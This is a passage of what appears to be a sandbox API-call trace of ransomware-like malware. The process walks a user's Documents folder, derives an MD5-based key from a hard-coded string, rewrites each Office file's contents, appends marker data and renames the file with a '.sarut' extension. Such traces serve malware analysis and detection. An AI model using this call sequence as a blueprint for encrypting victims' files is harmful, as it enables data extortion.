Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.362] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.362] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A8Lf.pptx") returned=".pptx" [0268.362] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A8Lf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\a8lf.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.364] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=96642) returned 1 [0268.364] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.366] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1795c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.366] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.369] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.369] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x17982, lpOverlapped=0x0) returned 1 [0268.371] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.371] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.371] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.371] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.372] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.372] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.372] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.372] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.372] GetLastError () returned 0x0 [0268.372] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.372] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x17980) returned 0x311d708 [0268.373] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.373] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.373] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x1797d, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x1797d, lpOverlapped=0x0) returned 1 [0268.373] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.373] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17982, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.373] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.373] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.374] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.374] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.374] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.374] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.374] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.374] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.374] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.374] CloseHandle (hObject=0x5c4) returned 1 [0268.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0268.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.380] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A8Lf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\a8lf.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A8Lf.pptx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\a8lf.pptx.sarut")) returned 1 [0268.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.381] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.382] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b89e70, ftCreationTime.dwHighDateTime=0x1d4e9ad, ftLastAccessTime.dwLowDateTime=0xe5da45c0, ftLastAccessTime.dwHighDateTime=0x1d477ff, ftLastWriteTime.dwLowDateTime=0xe5da45c0, ftLastWriteTime.dwHighDateTime=0x1d477ff, nFileSizeHigh=0x0, nFileSizeLow=0x8d8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ApjV0L.xlsx", cAlternateFileName="APJV0L~1.XLS")) returned 1 [0268.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ApjV0L.xlsx") returned=".xlsx" [0268.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ApjV0L.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\apjv0l.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.383] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=36236) returned 1 [0268.383] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.385] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8d66, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.385] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.387] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.387] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x8d8c, lpOverlapped=0x0) returned 1 [0268.388] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.388] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.388] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.388] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.389] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.389] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.389] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.389] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.389] GetLastError () returned 0x0 [0268.389] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.389] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8d90) returned 0x311d708 [0268.390] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.390] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x8d87, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x8d87, lpOverlapped=0x0) returned 1 [0268.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.390] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8d8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.390] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.391] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.391] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.391] CloseHandle (hObject=0x5c4) returned 1 [0268.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.392] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ApjV0L.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\apjv0l.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ApjV0L.xlsx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\apjv0l.xlsx.sarut")) returned 1 [0268.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.393] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.395] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x347530a0, ftCreationTime.dwHighDateTime=0x1d4fdcf, ftLastAccessTime.dwLowDateTime=0xbb06b430, ftLastAccessTime.dwHighDateTime=0x1d4da4e, ftLastWriteTime.dwLowDateTime=0xbb06b430, ftLastWriteTime.dwHighDateTime=0x1d4da4e, nFileSizeHigh=0x0, nFileSizeLow=0x1971, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bRr UxgKvk lgV DA.pptx", cAlternateFileName="BRRUXG~1.PPT")) returned 1 [0268.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bRr UxgKvk lgV DA.pptx") returned=".pptx" [0268.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bRr UxgKvk lgV DA.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\brr uxgkvk lgv da.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.397] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=6513) returned 1 [0268.397] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.400] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x194b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.400] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.401] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.402] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1971, lpOverlapped=0x0) returned 1 [0268.402] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.402] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.402] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.403] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.405] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.405] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.405] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.405] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.405] GetLastError () returned 0x0 [0268.405] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.405] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1970) returned 0x311d708 [0268.406] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.406] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x196c, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x196c, lpOverlapped=0x0) returned 1 [0268.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.406] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1971, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.406] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.406] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.406] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.407] CloseHandle (hObject=0x5c4) returned 1 [0268.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.408] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bRr UxgKvk lgV DA.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\brr uxgkvk lgv da.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bRr UxgKvk lgV DA.pptx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\brr uxgkvk lgv da.pptx.sarut")) returned 1 [0268.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.409] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.410] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.410] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0268.410] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.410] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.411] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned=".ini" [0268.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.411] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dfaa30, ftCreationTime.dwHighDateTime=0x1d4c18c, ftLastAccessTime.dwLowDateTime=0x3d41b1c0, ftLastAccessTime.dwHighDateTime=0x1d49396, ftLastWriteTime.dwLowDateTime=0x3d41b1c0, ftLastWriteTime.dwHighDateTime=0x1d49396, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dlmumiy0mdd o.xlsx", cAlternateFileName="DLMUMI~1.XLS")) returned 1 [0268.411] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.411] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.411] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Dlmumiy0mdd o.xlsx") returned=".xlsx" [0268.411] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Dlmumiy0mdd o.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dlmumiy0mdd o.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.411] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=1364) returned 1 [0268.411] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.414] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x52e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.414] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.416] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, 